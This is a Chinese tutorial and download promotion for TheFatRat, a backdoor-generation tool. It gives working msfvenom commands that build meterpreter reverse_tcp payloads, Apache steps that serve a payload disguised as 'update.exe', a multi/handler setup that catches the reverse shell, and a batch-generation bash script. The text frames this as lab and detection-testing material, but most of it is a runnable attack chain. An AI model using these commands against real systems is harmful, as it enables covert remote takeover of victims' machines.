简介Thefatrat 是一套面向渗透测试初学者与安全研究人员的漏洞利用集成工具主打后门生成与漏洞利用攻击的简化操作可辅助完成浏览器攻击等常见测试场景。资源包共收录 255 个文件整体约 126.48MB文件类型以 85 个 h 头文件、30 个 so 动态库、14 个 jar 包、17 个 md 说明文档及 17 个 rsh 脚本为主另含 apk、py、sh、c、class 等源码与可执行组件并附带 aapt、apktool、apksigner、zipalign、dx、d8、baksmali 等 Android 逆向与打包工具链以及 backdoor_apk、fatrat 等核心模块目录结构完整便于直接部署与二次研究。目前已有 119 人学习下载适合想快速理解后门生成流程、熟悉漏洞利用工具组织方式并动手复现实验的安全爱好者参考。1. 从 Thefatrat 说起一个把后门生成和浏览器攻击打包的工具到底在解决什么问题如果你在渗透测试或红队评估的圈子里待过一阵大概率听过 Thefatrat 这个名字。它常被描述成一个“巨大的漏洞利用工具”核心能力有两块一是生成后门载荷二是把浏览器攻击、宏文档攻击等常见利用方式做成一条命令就能跑完的流程。很多人第一次接触它是在 CTF 的 misc 方向里碰到 webshell 后门样本想搞清楚这类载荷是怎么被批量造出来的于是顺着线索找到了它。它真正解决的问题不是“发明新漏洞”而是把散落在各处的利用步骤收敛成一个交互式菜单选载荷类型、填 LHOST 和 LPORT、选输出格式回车之后拿到一个可以直接投递的文件。对刚入门的人来说这降低了把 Metasploit、msfvenom、Apache 服务、社会工程模板串起来的门槛对熟手来说它更像一个快速原型工具用来在授权范围内验证某条攻击链是否走得通。这篇文章面向两类读者一是想搞明白后门载荷生成流程、愿意在隔离环境里复现的初学者二是需要评估这类工具检测面、想知道它留下哪些痕迹的防守方。下面按“它由什么组成 → 怎么在本地跑通 → 参数怎么调 → 哪里会翻车”的顺序讲所有操作都限定在你自己搭建的靶场或书面授权范围内。2. Thefatrat 的组成与载荷生成链路从菜单到可投递文件2.1 它到底封装了哪些东西Thefatrat 本身不是一个从零实现的攻击框架而是一层编排脚本。它依赖系统里已有的组件来完成实际工作常见的有组件作用缺失时的表现Metasploit Framework提供 msfvenom 生成原始载荷生成步骤直接报错退出msfvenom把 payload 编译成 exe/elf/apk 等格式找不到命令Apache2托管投递文件供目标下载浏览器攻击环节无法提供下载地址GCC / mingw-w64编译 C 语言后门源码编译类载荷失败Python3运行工具主脚本无法启动理解这张表很关键Thefatrat 报错时九成不是它自己的逻辑坏了而是某个底层依赖没装或版本不匹配。我一般会先跑一遍依赖检查再动别的。2.2 后门载荷的生成流程拆解以最常见的“生成一个可执行后门”为例链路是这样的工具调用 msfvenom指定 payload比如windows/meterpreter/reverse_tcp、LHOST、LPORT输出一个 exe同时它会在本地起一个 handler 配置方便你随后在 msfconsole 里接收回连。下面是一段等价的、可以脱离 Thefatrat 单独验证的命令用来确认你的 msfvenom 环境是通的# 生成一个 Windows 反向 TCP 载荷仅用于自建靶场验证 msfvenom -p windows/meterpreter/reverse_tcp \ LHOST192.168.56.10 \ # 你的监听机 IP必须是目标能回连到的地址 LPORT4444 \ # 监听端口需与后续 handler 一致 -f exe \ # 输出格式Windows 用 exe -o /tmp/payload.exe # 输出路径逻辑说明-p指定 payload 类型-f决定封装格式-o是落盘位置。参数里最容易错的是 LHOST——如果你填了127.0.0.1目标机器永远连不回来这是新手最常见的翻车点。LPORT 要和后面 handler 里写的端口完全一致差一位都不行。2.3 浏览器攻击与社会工程模块的定位标题里提到的“浏览器攻击”在 Thefatrat 里通常表现为起一个 Apache 服务把载荷放在 web 目录再配一个诱导页面让目标在浏览器里点击下载。它本身不包含浏览器 0day靠的是“让用户主动运行文件”这条社会工程路径。所以评估它的风险时重点不在浏览器漏洞而在投递环节和用户交互。如果你要复现这一环最小验证是本地起 Apache确认载荷能通过 HTTP 被另一台靶机下载。sudo systemctl start apache2 sudo cp /tmp/payload.exe /var/www/html/update.exe # 在靶机上验证可下载性 curl -O http://192.168.56.10/update.exe这段的意义是先把“投递通道”单独跑通再去套 Thefatrat 的菜单否则一旦失败你分不清是工具问题还是网络问题。3. 在隔离环境里跑通 Thefatrat安装、启动与第一个载荷3.1 环境准备与依赖安装我一般用一台全新的 Kali 或 Ubuntu 虚拟机网络模式设为 Host-Only 或内部网络确保它和靶机互通但不出公网。先补齐依赖sudo apt update sudo apt install -y git apache2 metasploit-framework gcc mingw-w64 python3 # 确认关键命令存在 which msfvenom which apache2 which x86_64-w64-mingw32-gcc逻辑说明which三个命令是自检任何一个没有输出后面的生成步骤都会失败。mingw-w64 是给 Windows 载荷做交叉编译用的缺了它编译类后门会直接报错。参数上没什么可调的重点是装全。3.2 启动工具与菜单导航拿到工具目录后主入口通常是一个 shell 脚本。启动方式cd thefatrat sudo ./setup.sh # 首次运行做依赖检查和安装 sudo ./fatrat # 启动交互菜单启动后是编号菜单1 是各类后门载荷2 是浏览器/宏类攻击后面还有权限维持等。选 1 之后会让你选具体 payload、填 LHOST/LPORT、选输出格式。这里有个血泪经验菜单里显示的默认 IP 经常是虚拟机的 NAT 地址不是靶机能访问到的地址一定要手动改成 Host-Only 网段的 IP。3.3 生成后接收回连的 handler 配置载荷生成只是前半程后半程是让监听端能接住回连。Thefatrat 一般会提示你复制一段 handler 配置等价内容如下msfconsole -q # 进入后执行 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.56.10 set LPORT 4444 run逻辑说明use exploit/multi/handler是通用监听模块set payload必须和生成载荷时用的 payload 完全一致否则握手阶段就会失败。LHOST/LPORT 也要和生成时对齐。跑起来后在靶机上执行那个 exe正常的话 msfconsole 里会弹出一个 meterpreter 会话。如果没反应先查靶机防火墙再查两边网段是否真的互通。4. 参数怎么设、失败怎么看LHOST、LPORT 与格式选择4.1 LHOST 和 LPORT 的取值逻辑这两个参数是整条链路的命门。LHOST 必须是“目标机器能够路由到的、属于你监听机的地址”。在纯 Host-Only 环境里就是监听机在该网段的 IP如果你用了端口转发或 NAT就要填目标视角下能到达的那个地址。LPORT 建议避开 80、443 这类可能被占用的端口选 4444、8080 之类且全程保持一致。一个快速自检方法在靶机上ping你的 LHOST能通才继续。ping 不通就别往下走了先解决网络。4.2 输出格式与目标平台的匹配目标平台常用格式参数注意Windowsexe-f exe需 mingw 或 msfvenom 内置支持Linuxelf-f elf注意目标架构 x86/x64Androidapk-f apk需正确签名才能安装脚本类python/ps1-f python体积小依赖解释器格式选错是最隐蔽的坑文件生成了但目标平台根本执行不了你会误以为是回连失败。我一般先在本地同架构机器上确认文件能跑再投递。4.3 失败时的排查顺序回连不上时按这个顺序查能省很多时间先确认靶机能否 ping 通 LHOST再确认靶机防火墙是否放行出站然后确认 handler 的 payload、LHOST、LPORT 与生成时逐字一致最后看 msfconsole 有没有报错日志。多数“玄学”问题其实是网段或端口不一致。5. 避坑与常见问题五条真实踩坑记录现象生成成功但目标执行后毫无反应。原因LHOST 填成了回环地址或 NAT 地址目标无法回连。 解决改成目标可路由的监听机 IP靶机 ping 验证后再重试。现象msfvenom 报 “payload not found”。原因Metasploit 版本里该 payload 名称变了或框架未初始化。 解决msfconsole里用show payloads查实际名称按查到的写。现象编译类后门报找不到 mingw 编译器。原因只装了 gcc没装 mingw-w64 交叉编译工具链。 解决apt install mingw-w64再用which x86_64-w64-mingw32-gcc确认。现象浏览器投递页面能打开但下载被拦截。原因浏览器或终端防护对可执行文件下载做了拦截。 解决这是检测面生效的正常表现评估时应记录该拦截点而不是绕过它。现象handler 起来了会话一闪就断。原因payload 与 handler 的 payload 不完全一致或目标侧杀软终止了进程。 解决逐字核对 payload 名称在靶机上查看进程是否被杀。6. 进阶把载荷生成脚本化以及怎么验证检测是否生效当你把菜单流程跑顺之后下一步通常是把它脚本化方便在授权测试里批量生成不同格式的载荷同时记录每次生成的参数。下面这段是我常用的封装思路把参数抽成变量避免手填出错#!/bin/bash # 批量生成载荷的封装示例仅限授权靶场使用 LHOST192.168.56.10 LPORT4444 OUTDIR/tmp/payloads mkdir -p $OUTDIR # 格式与对应扩展名 declare -A FORMATS( [exe]windows/meterpreter/reverse_tcp \ [elf]linux/x64/meterpreter/reverse_tcp ) for fmt in ${!FORMATS[]}; do msfvenom -p ${FORMATS[$fmt]} LHOST$LHOST LPORT$LPORT \ -f $fmt -o $OUTDIR/payload.$fmt \ echo [ok] $fmt 生成完成 done逻辑说明用关联数组把格式和 payload 绑在一起循环生成保证只有成功才打印 ok。参数上LHOST/LPORT 提到顶部统一管理改一处即可。这样做的价值是每次生成的参数可追溯出问题能快速定位是哪个格式、哪个 payload 失败。再往上一层是验证检测。生成载荷只是攻击面的一半另一半是确认防守方能不能发现它。我的习惯是在靶机上开启终端防护或 EDR把生成的载荷投递过去记录它是被静态特征拦下、还是被执行时行为拦截。这个验证过程比生成本身更有价值因为它直接告诉你这条攻击链在当前环境下是否还成立。说个我自己的教训早期我总盯着“怎么生成成功”后来才发现真正决定成败的是投递和检测环节生成只是最没技术含量的一步。把精力放在参数一致性、网络可达性和检测验证上比反复换 payload 有用得多。希望帮到你。本文还有配套的精品资源点击获取
